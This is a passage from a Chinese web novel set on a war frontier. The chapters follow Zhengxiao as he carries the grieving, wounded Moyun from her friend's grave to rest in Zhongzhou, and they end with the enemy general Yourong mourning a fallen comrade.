“她受那么重的伤，她去哪了？”元帅瞬间丢开手中之公文，望向威行急切地问到。
“我派人周边找了，都没见到！白夫人说她现在伤势严重，不能到处跑！”
元帅转头便看向正啸指着营外的方向说：“还不去将人找回来！”
正啸无语的抬头看向沧海说道：“沧海……”
元帅顿时就气不打一处来的拍着桌子骂道“沧什么海，沧海，老子还没跟你算账的，你何时才知道她是去潜伏的？你一早就下了什么军令，活捉方茉云！我也不是说这群小子不能耐，但是他们要是都能活捉那方茉云，十个峑戎都早灭了，还轮到你在这里领军打战啊！”
“扑哧”众人顷刻间都只得伏低头忍着笑。
“你还不去跟我去把她找回来。马上去，这是军令！”
正啸满脸皆是无奈且不情愿的神情看向营帐外，却发现此时天空中已阴云密布，他只得无可奈何的径直走出营帐，不一会儿众人便听见正啸的烈马疾驰出营的马蹄声，元帅则嘴角上扬的摇摇头。
疾驰出营，他径直往东南而去，他当然知道她去哪儿了，可是一路策马奔驰而去，却没有找到她的踪影，天空亦下起了大雨，此时他有些心焦了，最终追到山脚桥旁，马无法再前行之地，看见了茉云的马也停在此处，才松了口气，她果然来了此处。
正啸下马上山，天已经下起了倾盆大雨，他走到了青岚坟前，灰蒙蒙的天空下，茉云孤身跪在那里，单薄的肩膀似乎在微微颤抖，身影显得那般脆弱、孤独，完全没有平日里的坚毅和不屈。
“是我害了你！”茉云低声呢喃的说，双目都失去了神采，所有的愧疚和悲痛都压在心头，可是无论自己做什么，青岚都不可能再 回来了，剩下的只有这冰冷的墓碑。
大雨滂沱，正啸远远守着没有上前，他亦失去过挚友，他知道在这种悔恨和悲愤夹渣的痛苦，身负重任之时还能麻痹自己一二，卸下重担的时候便是崩溃之时，此刻他也只能任凭雨水冲刷着她的伤痛。
他深吸一口气咬紧牙关，若不是自己，若不是敌人想利用她来杀自己，青岚不会死，她不会有这道心底永远无法愈合的伤痕。
暴雨在狂风呼啸中直泻而下，好似苍天都在为这段离别发出悲鸣。<
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茉云往前倒去，额头抵在冰冷的石碑上，她的身躯或许因为疼痛和虚弱在雨水中颤抖得更厉害了，手无力的握着石碑，脸色已经苍白的如纸一般。
正啸双眉紧皱走到她身边，轻轻的要将她扶起，可茉云却抱紧石碑不松，可正啸已经感受到茉云的呼吸已经变得急促而艰难，再不离开会有危险，他没有再说什么，俯下身子一把将她拉起。
“我不走！”可她看见正啸坚决如铁的眼神，她此刻已经虚弱得，所有的反抗都变得没有意义，她只能以哽咽的声音说“你让我再留一会儿！”
正啸眼神中都是沉重和担忧，但仍然不容置疑的一把搂过茉云的肩膀转身，边走边望向茉云轻轻的说道:“她不会愿意看见你倒在她墓碑前的！”
无论茉云如何挣扎，他的臂膀如此结实有力，自己只能无奈的屈从。正啸扶着她下山，踏过泥泞，留下的都是沉重的脚步，此刻无法控制的伤悲涌上心头，泪水混着雨水彻底模糊了茉云的视线，她的肩膀颤抖得更厉害了，而正啸只能用抱着她肩膀的手，将她搂得更紧。
到了山脚下，正啸扶着她上马，茉云已虚弱得无力支撑，眼看就要掉下马来，正啸立即飞身上了茉云的马，握紧缰绳双臂紧紧护着茉云。
马儿步伐亦稳健的走着，他似乎能感受到主人的伤痛，茉云渐渐平静下来，最终虚弱不支昏昏沉沉的睡了过去。
她毫无意识的头靠到了正啸的胸口，正啸低头看她，眼中都是深深担忧，此刻他也只能用自己的身躯为她挡住呼啸的风雨，他一手握紧缰绳，另一只搂紧了她，不想让寒冷侵袭她。
走出一段距离，正啸低声呼唤茉云的名字，茉云能听见却没有回应，他的怀抱如此温暖，声音如此柔和，汇成一股暖流居然能抚慰自己此刻的心，她最终安稳的睡了过去。
等她醒来之时，身躯仍觉得虚弱，但逐渐地感受到，自己正稳稳地靠在一个温暖而坚实的地方。此时他们已经走出了山林，雨后的暖阳照向了大地万物，茉云不时转头望向大山，正啸才发现她醒了。
“等你伤好了，再备上她喜爱之物，来看望她吧！”
“青岚没有什么喜欢的东西，她……最喜欢的就是许秀才，我能押人来给她陪葬吗？”
“不能！”顿时又传来了正啸那平日里斩钉截铁的声音。
茉云终于轻轻被逗笑了一下，她深深叹息了一口气，依旧虚弱的靠在正啸的怀里：“那国师已死，也算给青岚报了一半的仇。”
“青岚姑娘不会日日心心念念的想着让你为她报仇，只会希望你能把自己活明白。”
茉云无语的抬头看了正啸一眼，正啸亦正好低头望向他，两人四目相触，茉云居然不自觉的躲开了眼神，这家伙怎得好像如此坦然，我也好歹是女子，我受伤了就割开我衣服，我冷了就抱着我，此刻亦是如此，这是不是有些许冒犯我……
想到此，茉云便没好气的一脸忿然，心想我要去问问青岚，问她这是不是冒犯？可戛然而止的她突然又意识到……心瞬间又沉入谷底，那个任繁华落寞，日落流年都陪自己碎碎念念的人，已不在了！
“那日走时青岚问我，何日再见，我说要出趟远门，待来年，结果，他日重逢，要待来生了！”茉云转身痴痴地望向那深山，回头万里，故人长绝。
133.默契
山峦在雨雾中显得格外朦胧，雾气如轻纱般袅绕，风卷着丝丝凉意穿过周遭，此刻心寒如冰的茉云，却也能感受到一丝难以言喻的温暖和安稳。
“我此生拖累她至此，也不知她来生还愿相见否？”茉云深吸一口气淡然的说道，“本想着此去，弄死那群畜生，报了仇就去找她道歉，哎，结果……”
正啸双眉紧皱望向茉云打断说道：“她为救你而死，难道会希望你去找她，黄泉路上还不得安宁？”
茉云悲哀的思绪顿时就被正啸拉了回来：“你是在宽慰人吗？”
他显然他不善此道，叹了一口气思虑着说：“今生有一友，经得起山海，已属万幸！倘若有来生，定然会相遇，方可报今生之恩。”
“你居然会信前世今生来世？”
“其实不太信！”正啸直白的说道，他素来也不是思虑这些的人，还不是因为此刻自己非得安慰些什么。
“你是不是在想，如果关若辰在此，他大抵会这般说吧？”
“对！”
顷刻间两人又都被轻轻逗笑了，这便是关若辰说话的语气，正啸自幼便是练武之人，性子粗犷豁达，豪放大气，而关若辰心思如此细腻温和。
茉云之前也觉之奇怪，想到便问：“你为何从小和关若辰是挚友？”
“他脾气好，读书明礼又从不练武！”
“什么意思？”
“就是你刚要动手，他就会在你旁边念叨，什么君子以文会友，以友辅仁，什么君子义以为质，礼以行之，孙以出之，信以成之……让人瞬间连打架的心情都没有了，而我站在他身旁，君子也免于挨别人痛揍！”
“扑哧”茉云终于被逗笑了，笑得前俯后仰，幸亏正啸将手臂微微收紧，用自己的力量紧紧护住她，避免她跌下马来，他望向她眼中亦放出了轻松柔和的光芒。
“那你不会想揍他吗？”
“百林日日提醒我，关若辰挨我一拳可能就没了，而关叔叔待我如此和蔼可亲，我不能如此对待它们。”
茉云又被逗笑了，可是她抬头分明看见正啸提起百林之时，眼中亦闪过一丝苦楚，她也不禁怀念道：“我小时候跟人打架，青岚老是在旁边哭得稀里哗啦的。”
“她应该是跟唐百林一样，过于同情别人的遭遇吧！”
茉云终于被逗得捧腹大笑，正啸亦轻轻被逗笑了，他们两人从来没有像今日这般聊过天，一向都是人前争锋相对，而此时只有他们两人，茉云亦能感受到正啸此刻的温和，是因为他能感受到自己这番痛彻心扉，已然是费劲心思的宽慰自己。
茉云抬眉望向正啸突然说：“所以你到了边关，就找到了一个可以陪你打架的朋友？”
正啸亦沉默了半刻，他当然知道她说的是幽戎，可这亦是一段尘封的记忆，他身边之人都鲜少提起此事。
茉云说完心中居然流过一丝后悔和不忍，当他还是个孩子的时候，便已经成为了峑戎算计和暗害的目标，他们不只是想杀他，更想的是摧残他。让他亲眼见到他的母亲跳崖，让他身边挚友亲人皆因他而死，让他被人世的苦痛折磨半生。
茉云的眼中顿时又闪过了冷凌，可她不允许自己心软，她必须知道答案，她抬头望向正啸说“幽戎那一刻居然下不了手，若你再遇到幽戎呢？”
正啸低头望向茉云，眼神如此坦然而从容：“一生追求自由的人，不过是一生在挣脱枷锁，而我带着它出生，早已习惯，不会有半刻迟疑！”
“觉得遗憾吗？”茉云望向远方笑了说，还好这家伙未有妇人之仁。
“人间百年，谁没遗憾，干自己认为对的事就行！”
茉云淡然的笑了，突然耳边想起了青岚的话，大老鹰能容你，是因为懂你。他两确实都不是会日日嚷着天意弄人，纠结过往，苦苦挣扎之人。
“其实我一开始打算干掉幽戎的，毕竟厄戎年纪大了，他未来定是峑戎的军中领袖。可是动手之前，突然听见他说，他此生惟愿族人不再吃他吃过的苦，希望天下所有尝尽家破人亡之苦的灵魂，皆能找到安宁而光明的家园！”茉云坦诚的说道，“那家伙也算是个人物……”
话还未说完，茉云突然感到一个巨大的力道，一手扶着自己的后脑，几乎是掰过她的头，她还未晃过神抬目望去，四目相触，正啸俯瞰而来的眼神迸射出的怒气，而这股怒气仿佛与往日有些不同。
“方茉云，人是侵略者！”
“诶，我脖子都差点儿断了，难道我折腾了老半天，炸了暗营，干掉这么多峑戎人，我不知道他们是侵略者？”茉云一脸懵的没晃过神来，摸着颈项说。
正啸才松开了手，双眉微皱眼神中分明还闪出不爽的神情。茉云疑惑而不满的揉着自己脖子，心想这家伙真是脾气说来就来，莫名其妙。
此时，他们马已经穿过了县城的集市，周围的喧嚣声，叫卖声伴随着市井气息扑面而来。茉云的思绪又顷刻被摊位上传来的烧饼香气吸引了，正啸却丝毫没有管她的依依不舍，骑马到了前方的布料服饰店。
正啸望向店铺内挂满了干净的布衣和各色布料织物，他忽然抱着茉云飞身下马，动作已然是轻柔非常，还是让茉云不由得轻皱眉头，他抬手扶着她走进店铺。
店铺老板娘看到湿漉漉的两人进门，显然有几分诧异，但是看见正啸的穿戴立即喜笑颜开的迎上前来，热情地招呼道：“两位客官可是要换身衣裳？小店的棉布衣裳，虽然不及客官的布料华贵，但是胜在舒适实用。”
正啸扶着茉云在椅子上坐下，转身看向店内的成衣，他很快指向一套素净的棉布女衣衫。老板娘愣了半刻，立马将衣物取出，恭敬地双手奉上。
正啸将衣服递给茉云，他没有多话，目光温和的示意茉云去换身干的衣服。
“这是女装！”茉云看向那衣服顿时没好气的说。
正啸没有半分要换一件的表情，无语望向茉云：“这店里会有你这般尺寸的男子衣裳？”
老板娘略微小心的打量着茉云的身形，然后为难的赔笑说：“那倒是确实没有！”
茉云愤然一把扯过衣服去往店里的内室换衣服，正啸看向她那不服气的背影，嘴角微微上扬被逗笑了。
一会儿功夫，茉云推开内室的门缓步走出来，穿着素色布衣的她，确与平日里的一身男装英姿飒爽的样子
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不同，柔软的布衣贴合着她的身形，宽袖微长掩住了她的手腕，人也显得柔和素净了起来，
微风从窗外吹拂而来，她的发丝微润散落在肩，凌乱而自然的飘着，哪怕气息再虚弱，她依旧如青松般的挺立在那，未施粉黛的脸上也还是一副桀骜英气的神情。
老板娘瞬间就认了出来，惊讶的拍手笑道：“呀，原来是个女娇娘啊！”
茉云脸上顷刻就闪现出愠怒，一把勒过长袖到手肘处，一副擂起袖子就要干架的神情，吓得老板娘立马不敢说话了。
正啸却无语的被逗笑了摇摇头，随手拿起了一件玄色布衣往内室走去说道：“坐这儿呆着，别乱跑。”
茉云无语的白了一眼，只得坐在椅子上乖乖等着，正啸似乎一眨眼的时间就换上了干衣，推开门的瞬间第一眼便望向了茉云，瞧见了她在，才轻轻松了口气，这倒是把茉云轻轻逗笑了，自己是有多不让他信任啊！
正啸走来付了钱，老板娘收了银子便满脸的堆笑送了他们出去，正啸伸手牵过了自己的马，飞身上马便端坐于马上，迎着微风，暖阳映衬出他英朗的轮廓，既透着威猛的气势，又含沉稳的平静。
茉云看着正心想，这家伙怎么穿着这粗布麻衣，依然透出那威武凛然的气势，却发现正啸亦看了过来，立刻收回了目光，准备转身去上自己的马。
一瞬间正啸坚实的手臂伸了过来，还未等茉云晃过神，他便将茉云拉上马，依旧坐在自己身前，两手握着缰绳护她到怀中，茉云有些意外却也没有拒绝，她知道自己此刻极度虚弱，反抗也是徒然，再者自己好似也没想……
马儿缓缓前行，茉云的马儿便乖巧的跟在身后，不久便经过了刚茉云恋恋不舍的饼摊，正啸拉住了缰绳跳下马来，去给茉云买吃食。
茉云立刻开心指着旁边说道：“还有那桃子！”
正啸走到果筐前蹲下来，眼神透出难得的柔和与仔细，给茉云挑了桃子，转身递给茉云后，他才飞身上马，带着她离开小镇往前行去。
茉云心情如雨过天晴般慢慢平复，她左手拿着饼咬着，右手拿着新鲜而果香扑鼻的桃子，迎着扑面而来的清风，背后是他厚实且安稳如山的胸膛。她迎着光芒抬起头，雨后晴天的光辉洒到他们身上，这短暂的修整为她带来了无尽的暖意。
马蹄声轻轻的敲击在湿润的石板路上，哪怕是轻柔的颠簸，正啸都会收紧手臂稳稳护住她。
走出小镇，周围的山林川原又变得开阔起来，微风徐来，茉云轻轻闭上了眼睛，渐渐又睡了过去，身姿不再刻意挺直，而是自然依靠到了正啸的怀中，温暖从他的胸膛传来卷席全身，即便是满身棱角的她，似乎也在此刻卸下了所有防备和凌厉，去感受隐隐生出的这一丝安稳和依赖。
马儿踏着稳健的步伐前行，中州的城关渐渐映入正啸眼帘，当日自己被贬万里来到中州，前路艰难险阻无数，却遇见了她，一步步踏过泥泞与风雨，哪怕只有无声的默契，她都会选择，和自己坚定不移地并肩而行，刀山火海从未迟疑。
正啸低头看向茉云熟睡的样子，眼神闪过一丝复杂的柔情，万里征途，万里路，步步风雪，步步你……
134.渴望
中州的街市依旧熙熙攘攘，人潮如海，商贩沿街叫卖，孩童追逐嬉笑，车水马龙喧嚣都交织在一起，夕阳西下，余晖洒在石板路上，映射出温暖的光芒，好像给整个街市都渡上了金色。
马儿步伐缓慢行进着，正啸远眺而去，似乎此刻心都轻松了下来，感受到一股久违的亲切感。他低头望向怀中的茉云，她被这热闹惊醒，缓缓睁开了双目，但是她马上扯上衣领挡住了自己的一半容颜，微微躲到他的怀中。
正啸眼中闪过一丝无语，她那不甘示弱的性子，一丝都不肯能让人见到她脆弱的的样子。
直到快要经过心月楼之时，茉云又探出了头去张望，好似这儿还能见到故人的影子一般，但是就在这一瞬间，正啸抬手用手臂挡住她的眼，不让她瞧见心月楼的华灯初上，可那些欢声笑语依旧传来！
茉云只得轻轻叹息：“突然来了中州？”
“带你在中州修整一夜！”正啸知道茉云此时太过虚弱，他担心如果再直接带她回南营，怕她难以支撑，所以绕道来了中州。
两人骑马缓缓来到了深巷旁的宋大人府邸，门前的大树枝叶依旧繁茂，微风轻轻拂过，树叶沙沙作响，仿佛在迎接他们的到来，正啸轻勒住马的缰绳，门口正逢宋大人的马车停下，沈师爷正扶着身穿青色长袍的宋大人下车，他两抬目望来瞧见正啸，眼中顿时闪过惊讶和喜悦。
茉云顷刻扯下颜面的衣物喊道：“宋大人，沈师爷！”
宋大人惊得差点从马车上掉下来，落地之后几个踉跄，沈师爷没晃过神就去扶他，随即两人缓缓跌成一团倒在地上。
“茉云！”宋大人还未起身便激动的抬起头看向茉云，此刻老文人的克制和从容都荡然无存，仔细的端详着马上的两人，手微微的颤抖，眼中难掩激动，“回来……就好！”
正啸立即翻身下马，伸手扶起他们。
“暗营破了？”宋大人看向正啸急切地问道。
“嗯！”
“好！”宋大人眼中闪烁着欣慰和激动，都忘记了拍去身上的灰尘，一个劲的缓缓点头，“好啊！”
宋夫人此时定是听见了马车的声音，所以走出门来迎宋大人，可是当她抬目见到了茉云之时，便忘记了一切，泪水夺眶而出的冲了出来，拉住茉云的手：“茉云，你还活着，老天保佑，你这孩子，还活着……”
茉云强忍着宋夫人拉扯住她手的伤势之痛，灿然而笑：“我哪儿那么容易死！”
宋大人夫妇都激动而欣慰的点点头，宋夫人紧紧握住茉云的手久久不肯松开，仿佛这一切有可能只是一场梦。
正啸见到茉云眼中忍着的痛楚立马说：“她受了伤，我先扶她下马！”
宋大人旋即马上说道：“快进来，快进屋里歇歇！”
正啸伸出健硕的手臂扶住了马鞍稳住了马儿，茉云扶着正啸的手臂翻身下马，落地之时双脚一软，正啸立马一手扶住她，未让她摔倒在地。
宋大人若有所思的瞧了一眼，摸着胡须和沈师爷对视了一眼，宋夫人则满脸慈爱和关切的将他们迎了进去。
宋夫人立马张罗下人烧水给茉云沐浴修整一番，此时宋大人叫来了思淼，思淼进来好似未见到正啸一般，就往屋里闯着要去拜见师姐，被正啸抬手就拎了回来，扔在地上。
“嗯？师兄？”思淼诧异的望向正啸，一把拉住正啸的手臂说道，“师兄，到底怎么回事。”
宋大人亦是满脸期待的望向正啸，正啸便将事情始末简单的告知了宋大人他们。
“我就说师姐怎么可能背叛师兄！”思淼顿时拍案而起兴奋而钦佩的说。
“将军，你是说茉云跑去暗营，弄死了国师，让他们大王子锒铛入狱，然后炸了暗营，放你的大军进去处置了厄戎！”沈师爷还未完全晃过神的复述道。
宋大人则一脸骄傲的放下茶杯故作沉稳的看向正啸说道：“将军，那日你初来乍到，老夫苦口婆心说与你听，此人虽态度不好，但是能力决计是一流，只要你给机会，她绝对会让你刮目想看，沧海横流，尽显英雄本色！”
正啸无语的望向宋大人，思淼则立马接过话乐了说道：“瞧您说的，我师姐还需要师兄给机会？一点机会不给，她也能让师兄和所有人大惊失色！”
众人顿时哄堂大笑，正啸亦是一脸的无可奈何，此时门外来报，千山赶到了，他进来看见正啸在此亦松了口气，看样子茉云是找到了。
“少主，是执礼说，您如果在青岚处寻到茉云，会带她来宋大人处先休整一夜，让我带着茉云的药直接来了此处！还有白神医嘱咐，她不能喝酒！”
“好，有劳宋大人差人帮她煎药！”
“快去拿给夫人！”宋大人笑着吩咐旁人。
茉云此时才缓缓走了进来，思淼一脸激动的冲上去跟茉云行礼，茉云微微点头，在思淼身旁吩咐了几句走进饭堂，看见一桌的好菜便兴高采烈的坐了下来。
“酒给你师姐倒上！”茉云开心的拿起筷子望向思淼说道。
“不用倒，她不能喝酒！”正啸斩钉截铁的说道。
“谁说的！”
“我！”
茉云顿时忿然瞪向正啸骂道：“你？你说的算啊！你是医师吗？”
“不是，但我说的算！”正啸冷冷的自己端起酒杯准备敬宋大人说道。
看着茉云气得怒目圆瞪，却没有丝毫办法的样子，宋大人端起了酒杯说：“看到这熟悉的场景，真是让老夫热泪盈眶！”
众人不禁哄堂大笑，晚膳之上，大家皆心情舒畅，宋大人喝得都有些微醺，开心的和正啸说着当日与他爹的过往，茉云趁着众人不注意，伸手拿起酒杯，还未送至嘴边，一双筷子飞来，打得茉云双手一弹，酒杯被击飞，手上还顷刻闪现两道红印。
“卢正啸！”茉云握住自己手，疼得怒吼道。
众人顷刻间又捧腹大笑，正啸一脸毫无波澜的接过递来的一双干净筷子，继续陪宋大人喝酒。
“来，师姐，师弟给你乘汤，这汤也好喝！”思淼一脸殷勤的笑着说道。
茉云才没好气的收回了目光望向思淼问道：“师傅师娘可还好？”
思淼想着被逗笑了说道：“啊？我爹最近都忙在办案，不敢待在京城，不敢告诉我娘您去了峑戎！”
茉云想起师傅那惧内的表情，才轻轻被逗笑了说：“师傅最近在办什么案！”
“听瑞林师兄说，刚办完跟铜矿有关的一案子！”思淼想着就看着正啸说道，“那个师兄，也许还没人跟你讲，那个程启源涉案，也被逮捕归案，下了大狱……”
正啸怔了半刻望向思淼，宋大人无语的望向思淼，思淼挠挠头从宋大人的眼神中便知晓，好似说的不是时候！正啸双眉微蹙望向宋大人，程家乃他的亡妻娘家，若程启源都犯事入狱，那程家这一辈的男丁皆前程尽毁，程家昔日望族，如今自此亦没了希望。
沈师爷瞧见正啸的神情，故意叹息着向宋大人说道：“程家这一辈也都是因其家风不正，多有宽纵，最后酿成此番凋落的局面。”
宋大人也长叹了一口气点点头，正啸心中知晓他们想宽慰自己，可是他更明白，程家被围猎，程家的子嗣被不惜一切的一个个拉下水，都要多亏了自己朝中的敌人，不然程家哪有那么多的机会去行差就错。
同样若不是因为他们是卢家姻亲，程家的那些他的妻弟，又怎么会如此张狂，自己远在边关虽无暇兼顾，可是自己终究失察，让他们皆误入歧途，如今居然无一幸免。
“正啸，是不是京城中传闻，你嫌少知晓啊！”此时一贯不在饭桌上插嘴朝中事的宋夫人也说话了。
“夫人，他之前边关战事紧迫，他家中肯定未将朝中烦心之事告知于他，以免正啸分心！”宋大人分明眼神中就是在暗示宋夫人不要再说了。
可宋夫人执拗的挡开了宋大人说道：“那就容宋姨我多少几句，京中传闻说圣上要跟依妮赐婚，她还那么小！”
“什么！”正啸顷刻抬头看向宋夫人，茉云亦看了过去。
宋夫人叹息着继续说：“哎，这说来……京城之中指腹为婚都是常事，也不以年龄断之，只是这传闻圣上属意宁国公家的长孙！”
就连正啸身旁的千山，都愣了半刻望向宋大人，宁国公家虽身份极为贵重，但却是京城出了名的规矩大的府宅。
“我不会同意！”正啸顷刻间斩钉截铁的说。
“可我听说，老太君觉得合适！”宋夫人担忧的说道，宋大人夫妇自年少便与元帅夫妇是至交，视依妮若自己的孙女，自打她听闻此事便夙夜忧叹，谁都知道依妮活泼的性子若入了宁国公府，那日子将会何其艰难。
宋大人亦未有说什么，抿了一口苦酒长叹一口气，他亦明白老太君的不易。
正啸握紧了拳头，他亦知道为何奶奶会觉得合适，宁国公朝中势力深厚，对南境战事若鼎力支持的话，亦是巨大的助力，可于他而言，为了南境大业，可以要了他的命，但是他绝不会牺牲依妮一生的幸福，让她入那女眷终不见天日的宁国公府。
“正啸啊，不过这也是传闻，我……”
“宋姨，谢谢您！我绝不会让这样的事发生！”正啸坦诚的望向宋夫人，他心里知道宋大人夫妇的意思，也能感受他将自己视为亲子侄，将依妮视为孙女一般的良苦用心，宋夫人此时才欣慰的稍微松了口气笑了。
茉云伏低头喝着汤，眼中又闪过一丝狠戾，他们在边疆保家卫国，舍生忘死，那群混蛋在京城一刻也没有消停。
晚膳将尽，已到渐渐入夜时，思淼派去的衙役从鬼市带来了一个贼眉鼠眼之人，他凑近茉云身边小声禀报说道：“师姐，你让我鬼市找的那个不言药方的掌柜，人带来了！”
众人不禁望去，那人身材瘦小，脸颊凹陷，皮肤苍白，眼睛细小却透着一丝精明，他站在门前不敢上前，伏低头一副谨小慎微，低眉顺眼的模样。他便是鬼市不言药方的掌柜不言。
茉云居然亲自起身走了出去说道：“不言，你那解药你研制出来没？”
那人一听见茉云的声音就没好气的往后退了几步说道：“没有！”
茉云神情顷刻就变得恶狠的说道：“那你还想活吗？”
“方茉云，你怕是讹上我了吧！我可是一等一的良
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民！”
“你个鬼市卖药的，还成良民了？”茉云怒目瞪向不言。
月色下不言亦没有好脸色的瞪向茉云，可是他瞬间凑过来定睛一看说道：“你怎么伤得这么重。”
“你放心，我死不了，你若是研制不出解药，你小命铁定没了！”茉云语气带着威胁的说，两人说话的语气一看就是相熟之人。
“方茉云，你也就剩一口气了，我先给你探探脉！”
正啸望向茉云心头一紧，他知道她伤得不轻，自己从未见过她如此虚弱的样子，不该让她吃晚宴吃到现在的，千山站在一旁看着正啸眼神中流淌出来的担忧和关切，他亦愣了半刻。
“我好得很，你把那毒药的解药弄明白就行，那可以救很多人命！”
“你让小乞丐拿给我的那毒药，复杂得很，其中还含有及其名贵的毒，我那小作坊，你就算研制得出，我也买不起那制作解药的药啊！”
“你早说嘛！”茉云开心指向卢正啸说道，“他那里有个神医，家里老有钱了，什么药都能弄到！”
不言顷刻间眼神中流淌出一股傲气：“神医不神医的，见过才知道，这世上骗子多了！”
“你个卖假药的，你还这么傲气！”茉云捂着胸口笑着说，恰逢此时夜风袭来，一口凉风顿时让茉云忍不住咳嗽起来。
“方茉云，你伤得太重了，你还……”
话还未说完，正啸将茉云一把扶过，将她扶入了客房，此时她的手已经透着刺骨的冰凉。
宋夫人马上亲自端来了药，不言凑过来闻了一闻马上说道：“这药好，赶快服下！”
茉云瘪瘪嘴巴看向那碗浓稠的药，显然没有喝的欲望，可是余光看见正啸那不容置疑的神情，他抬手要去端药了，茉云二话不说接过药碗一饮而尽，喝完没好气的把碗塞了回去。
宋大人他们都看着忍不住乐了，不言在侧身从缝隙中看着茉云，然后再看向那高大威猛的正啸，若有所思。
茉云抬手指着不言望向正啸说道：“那瘦猴是个对毒物和奇药还颇有心得之人，你把他带回军营，兴许可以帮白神医尽快研制出毒戎的解药，日后就再也不怕峑戎的毒阵了！”
“你先好好休息！”正啸看向茉云不容分说的说。
“对，让茉云先好好休整！”宋大人亦马上说道，众人都退了出去，而正啸却站在她的床边没有动。
宋夫人愣了半刻望向宋大人指着，宋大人则笑了说道：“万一这妖怪一下就跑了，让卢大人镇着咱也放心！”
宋夫人则被逗笑了点点头，不言躲在角落里听见了，他不时回头张望着，正啸守在床边，茉云趴在床上蜷缩成一团昏昏沉沉睡了过去，良久之后，正啸用手背轻轻触碰了一下茉云的额头，还是如此冰凉。
他抬手一掌打在茉云的背上，以内力为她驱寒，躲在窗下的不言吃了一惊趴着看着，顿时寒湿从茉云的头顶散出，此人内力居然如此深厚，而且愿意为了茉云如此耗费。
茉云此时才觉得浑身暖意流淌而过，好似又能感知些许温度，安稳的睡了过去。正啸才收掌望向茉云那两鬓散乱的发丝和额头边冒出的冷汗，本想伸手为她擦拭，却最终握紧了拳头收回了手，起身走出了房门。
不言轻轻的要起身，一转身便吓得贴着墙，屏住呼吸不敢言语，因为此时正啸正立于月下瞪着他。
“去找间客房让他住下！”正啸冷凌而严峻的说，“若要探望明日白天再来！”
“是！”千山在旁应道，“请！”
正啸转身走出小院，不言灰溜溜的跟着千山走了，心想这定然就是青岚曾经提到过的那只大老鹰吧，真是够生猛的。
夜幕如漆，清冷的月光洒满院落，正啸回到自己客房的小院，院中竹影随着夜风摇曳，他忽的抽出了剑，剑光如水，在月色中流动。
千山安置了不言之后，回到小院愣了半刻，正啸在月下练剑，似乎每一次挥剑都在耗尽自己气力，剑法中隐约在发泄什么。
宋大人端着茶壶本欲来与正啸秉烛夜谈，站在小院门外也没有上前，他虽是文臣，但亦能从正啸的剑气中，感受到他的克制和压抑。
正啸的剑气越来越凌冽，让院中周遭犹如风卷残云般的搅弄了起来，可这依旧平息不了他心中波澜，过往身边之人种种悲惨的遭遇历历在目，可每一道剑光的闪现之处又显现出她的面容，她苍白而虚弱的容颜，她在怀中脆弱的昏睡还有她执意不肯离开的坚定……
他本以为自己早已被磨砺得铁石一般，将生死都早已置之度外的心，居然防线被轻易击破，让他此刻居然抑制不住的翻涌。他持剑挥出，带着一股刻意的刚猛，仿佛想斩断心中纷乱。可剑落之后，他的手却微微一滞，眼神中透出一丝无法掩饰的柔情。
哪怕筋疲力竭，他也无法再掩盖，内心深藏已久而从未承认的情感，被彻底点燃。而这火焰越烧越旺，仿佛要将他的理智吞噬殆尽。
他收剑入鞘，握紧双拳，可他若放纵，带来的会否是灭顶之灾……心中的渴望与克制极致拉扯，站在月光下的他，静静凝视着星空，内心却如海上狂风大作般汹涌。
135.欢喜
“正啸！”
正啸抬目望去才意识到原来宋大人站在小院门外，手上端着茶壶，好似已经等了好久，自己却未曾有一丝察觉。
“年纪大了睡不着，沏了一壶好茶，想着端来也给你醒醒酒！”宋大人慈眉微微弯曲，温和的望向正啸。
“谢谢宋叔。”
宋大人温和的拍拍正啸的肩膀笑了说：“正啸啊，宋叔等有生之年，能见你平定边关，驱逐峑戎，还南境百姓安居乐意，便无憾矣，而你还年轻，待大业所成，亦有机会去看看这人间烟火，尝尝平常喜乐，寻个圆满的人生。”
正啸怔了半刻看向宋大人，他自幼在皆是粗犷武将的卢家出生，他没有过心事，亦未被人看穿过……
“心有灵犀，亦如朝暮与共！”
正啸微微蹙眉躲闪过了眼神，宋大人温和的放下茶壶轻轻的走了，夜风微凉，竹影依旧摇曳，月光仍然清冷，看人间烟火，尝平常喜乐，自己亦会有这么一日吗？
他最终握剑走回了房间，心中燃起的这难以平复的心火又被理智所克制，可余温却在此刻给他带了无限的温暖和憧憬。
而此时远在千里之外的另一人，却没得这般幸运了！
幽戎已经拿下了吉冉城，被满城的百姓迎进城，军心激荡春风得意之时，他站在吉冉高高的城楼之上，远远却瞧见了集益单枪匹马，神色狼狈的疾驰而来，心顷刻间沉入了谷底……
集益见到了幽戎之时，便再也支撑不住，扑倒在地，整个人都心如死灰的痛哭说道：“主上，属下该死！”
“说！”
集益便将自己知道的始末告诉了幽戎，幽戎握剑的手紧得都在颤抖，最终当他听到卢正啸来接方茉云，杀了厄戎之时，他转身瞪向集益，眼睛顿时涨的通红。
“是方茉云的人炸了……”
“够了！”幽戎瞬间似乎陷入癫狂的吼道，“传我军令，集结军队……”
集益马上跪着过来一把抱着要冲出的幽戎吼道：“主上，你冷静点，冷静点，这一切都不是你的错，您一直在跟厄戎将军说，方茉云是不可能背判他们的……”
“将军，请您息怒，厄戎将军的仇我们一定要报，可是不是此时，此时为大王保全族安康才是……”诸位将军也都跪了下来说道。
“啊！”幽戎癫狂的对天咆哮道，他何曾不知道是自己害死了厄戎，亲自把厄戎和暗营的兄弟们送进了鬼门关，他们是被她诓骗了，可自己明知道她是谁，却心甘情愿被她蛊惑，他顿时将自己头就往石柱上撞去，所有的将士不顾一切的冲来拦着他。
“少主！”集益顿时哭着吼道，“你杀了属下吧，都是属下的错。”
此时门推开了，走进来一个人，身穿着一身素服，她琥珀色的绝美双眸中含着眼泪确是那般坚定和不屈。
众人转身顷刻跪下行礼：“长公主！”
“你们都下去吧，我有话跟幽戎将军说，集益你留下！”
“是！”
“幽戎，卢正啸是他们朝的元帅之子，方茉云是南境人，这一切本就是注定的！”长公主凝视着幽戎，眼神如晨曦般，温柔而充满力量，仿佛能穿破一切铜墙铁壁直抵内心，“我知道暗营之事和厄戎的死你不能原谅自己……”
幽戎听到了厄戎的名字之时，心在瞬间被撕裂，眼前似乎见到了厄戎身体缓缓倒下，看见他那不甘的眼睛渐渐失去了光芒，幽戎顿时仿佛喘不过气来，痛苦如汹涌的潮水像自己涌来，让他连站起来的力气都没有了。
